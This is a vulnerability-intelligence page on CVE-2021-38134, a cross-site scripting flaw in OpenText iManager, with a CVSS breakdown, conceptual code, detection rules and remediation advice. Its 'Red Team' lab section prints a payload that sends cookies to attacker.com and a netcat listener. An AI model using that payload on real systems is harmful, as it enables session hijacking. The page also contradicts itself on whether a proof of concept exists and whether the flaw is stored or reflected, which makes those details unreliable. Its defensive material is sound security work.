☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-38134

CVE-2021-38134 Cross-Site Scripting in Opentext
📅 PUBLISHED: 2024-11-22 15:34 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-38134 is a stored Cross-Site Scripting (XSS) vulnerability discovered in OpenText™ iManager version 3.2.5.0000. The flaw exists in the iManager URL access component, allowing an attacker to inject malicious scripts via crafted URLs. When a victim accesses the manipulated URL, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.1 (Medium) reflects the need for user interaction and the limited impact on confidentiality and integrity. No public exploit code or proof-of-concept has been released, and the patch status remains unknown. This report provides a comprehensive analysis, detection strategies, and mitigation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a crafted link.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS is moderate, the lack of a patch and the potential for phishing campaigns elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the URL access component of OpenText iManager. The application fails to properly sanitize user-supplied input within URL parameters before reflecting it back in the response. An attacker can craft a URL containing malicious JavaScript, such as:

http://target/iManager/component?param=<script>alert('XSS')</script>

When a user clicks this link, the browser interprets the injected script, executing it in the context of the iManager application. This allows the attacker to perform actions like stealing session cookies, redirecting to phishing pages, or modifying page content. The XSS is stored if the input is persisted (e.g., in a log or database), but the description suggests it is reflected via the URL.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly echoes the param value without encoding:

$param = $_GET['param'];
echo "<a href='$param'>Click here</a>";

Patched Code (Conceptual): A patched version would properly encode output:

$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<a href='$param'>Click here</a>";

Since no official patch is available, users must rely on input validation and output encoding as a workaround.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy OpenText iManager 3.2.5.0000 in a controlled environment (e.g., Docker or VM).
  2. Access the web interface and identify the vulnerable URL parameter (e.g., component or url).
  3. Craft a payload to steal cookies:
http://target/iManager/component?url=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
  1. Host a listener on the attacker machine to capture cookies:
nc -lvnp 80
  1. Send the crafted link to a victim (simulated via browser) and observe the cookie exfiltration.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious URL patterns containing <script>, onerror, or javascript:.
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search for requests to /iManager/component with unusual query strings.
  • Analyze browser console errors for blocked inline scripts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing <script>, onerror, onload, or javascript: in the URL.
    • Outbound connections to unknown IPs on port 80/443 from the iManager server.
  • Host IOCs:
    • Web server logs with entries like:
      GET /iManager/component?url=<script>alert(1)</script> HTTP/1.1
      
    • Unusual JavaScript files or inline scripts in the response.
  • File IOCs:
    • Modified or new files in the webroot (e.g., /opt/opentext/iManager/webapps/).

Detection Engineering

YARA Rule

rule CVE_2021_38134_XSS_iManager {
    meta:
        description = "Detects XSS attempts targeting OpenText iManager CVE-2021-38134"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-38134"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /onerror|onload|onclick|onmouseover/i
        $imanager_path = /\/iManager\/component/i
    condition:
        $imanager_path and ($xss_payload or $xss_event)
}

Sigma Rule

title: XSS Attempt Against OpenText iManager
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attacks targeting CVE-2021-38134 in OpenText iManager
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/iManager/component*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-38134 XSS Attempt in OpenText iManager"; flow:to_server,established; content:"/iManager/component"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the iManager server from untrusted networks if possible.
  2. Apply input validation and output encoding to all URL parameters.
  3. Deploy a WAF with rules to block common XSS patterns.
  4. Monitor logs for suspicious activity.

Long-Term Fix:

  • Contact OpenText support for an official patch or upgrade to a newer version.
  • If no patch is available, consider migrating to an alternative solution.

Workaround:

  • Modify the application code to use htmlspecialchars() or equivalent for all user input.
  • Implement a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';

Note: CSP with 'unsafe-inline' may not fully mitigate XSS but reduces impact.


Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

iManager
OpenText iManager

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-38134/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.